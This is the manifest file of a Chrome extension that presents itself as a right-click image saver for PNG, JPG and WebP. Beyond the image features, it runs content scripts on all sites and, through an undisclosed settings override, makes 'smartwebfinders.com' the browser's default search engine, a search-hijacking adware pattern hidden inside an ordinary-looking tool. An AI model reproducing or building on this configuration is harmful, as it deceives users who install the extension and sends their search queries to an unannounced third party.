Save Image by Right Click: PNG, JPG, or WebP

manifest.json

{
  "update_url": "https://clients2.google.com/service/update2/crx",
  "version": "1.0.5",
  "manifest_version": 2,
  "name": "Save Image by Right Click: PNG, JPG, or WebP",
  "description": "Save image as PNG, JPG, PDF, or WebP by context menu (Right-Clicking) on image.",
  "browser_action": {
    "default_icon": "icons/icon128.png"
  },
  "icons": {
    "48": "icons/icon48.png",
    "72": "icons/icon72.png",
    "96": "icons/icon96.png",
    "128": "icons/icon128.png",
    "144": "icons/icon144.png",
    "192": "icons/icon192.png"
  },
  "background": {
    "scripts": [
      "./js/jspdf.debug.js",
      "./js/background.js"
    ]
  },
  "content_scripts": [
    {
      "css": [
        "./styles.css"
      ],
      "matches": [
        "<all_urls>"
      ],
      "js": [
        "./js/jquery-3.6.0.min.js",
        "./js/contentScript.js"
      ]
    }
  ],
  "permissions": [
    "downloads",
    "contextMenus",
    "<all_urls>"
  ],
  "web_accessible_resources": [
    "icons/*"
  ],
  "chrome_settings_overrides": {
    "search_provider": {
      "name": "Smart",
      "keyword": "Smart",
      "search_url": "https://smartwebfinders.com/?n=2&q={searchTerms}",
      "favicon_url": "https://smartwebfinders.com/favicon.ico",
      "encoding": "UTF-8",
      "is_default": true
    }
  }
}